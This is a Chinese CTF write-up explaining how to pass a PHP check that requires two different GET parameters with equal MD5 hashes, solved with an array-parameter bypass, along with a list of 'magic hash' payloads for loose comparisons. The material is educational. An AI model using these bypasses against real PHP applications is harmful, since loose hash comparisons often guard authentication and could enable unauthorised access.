PHP中MD5函數漏洞


題目描述

一個網頁,不妨設URL為http://haha.com,打開之后是這樣的

if (isset($_GET['a']) and isset($_GET['b'])) {
    if ($_GET['a'] != $_GET['b']) {
    	if (md5($_GET['a']) === md5($_GET['b'])) {
            echo ('Flag: '.$flag);
        }else {
            echo 'Wrong.';
        }
    }
}

根據這段代碼,可以看出;

  • 使用GET方式提交參數,可以直接在URL里面改,不用寫POST請求
  • GET里面必須包含a,b兩個參數
  • a!=b,這里的不等是嚴格的value上的不等,而不是!==引用上的不等
  • a和b的md5必須相等
  • 這段代碼是無論如何都要返回的,如果答案錯誤,先返回wrong,再返回這段代碼。

如果提交http://haha.com?a=3&b=2,返回wrong
如果提交http://haha.com?a=3&b=3,跟沒帶參數一樣,因為沒有進入到那層判斷中去
問,怎么提交才能得到flag

預備知識

PHP在處理哈希字符串時,會利用”!=”或”==”來對哈希值進行比較,它把每一個以”0E”開頭的哈希值都解釋為0,所以如果兩個不同的密碼經過哈希以后,其哈希值都是以”0E”開頭的,那么PHP將會認為他們相同,都是0。
常見的payload有

    QNKCDZO
    240610708
    s878926199a
    s155964671a
    s214587387a
    s214587387a
     sha1(str)
    sha1('aaroZmOk')  
    sha1('aaK1STfY')
    sha1('aaO8zKZF')
    sha1('aa3OFF9m')

同時MD5不能處理數組,若有以下判斷則可用數組繞過

if(@md5($_GET['a']) == @md5($_GET['b']))
{
    echo "yes";
}
//http://127.0.0.1/1.php?a[]=1&b[]=2

題解

URL可以傳遞數組參數,形式是http://haha.com?x[]=1&x[]=2&x[]=3,這樣就提交了一個x[]={1,2,3}的數組。
在PHP中,MD5是不能處理數組的,md5(數組)會返回null,所以md5(a[])null,md5(b[])null,md5(a[])=md5(b[])=null,這樣就得到答案了。

http://butian.secbox.cn/flag.php?a[]=1&b[]=2
返回結果

Flag: flag{1bc29b36f623ba82aaf6724fd3b16718}
if (isset($_GET['a']) and isset($_GET['b'])) {
    if ($_GET['a'] != $_GET['b']) {
    	if (md5($_GET['a']) === md5($_GET['b'])) {
            echo ('Flag: '.$flag);
        }else {
            echo 'Wrong.';
        }
    }
}
    

我說

一開始我還以為要找到兩個md5相同的字符串,百度一番不曾找到。只找到一個fastcoll.exe文件碰撞器,內容都是二進制的,不是字符串。

直接搜索PHP、MD5,就發現原來這題跟密碼學半毛錢關系沒有,只是簡簡單單的PHP語言漏洞。
於是余有嘆焉,PHP是地球上最垃圾的語言,一方面養活着一大群抱殘守缺的程序員,另一方面也養活着一批PHP安全方面的專家。程序員這不是自娛自樂嗎?用Java哪來的這么多奇葩問題,強類型的安全性自然而然,一切都是確定的,弱類型帶來了太多的可能性。腳本寫起來雖然方便,卻最好只在本地使用而不要放在易受攻擊的地方。

參考資料

CSDN網絡安全大神:PHP函數漏洞總結


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM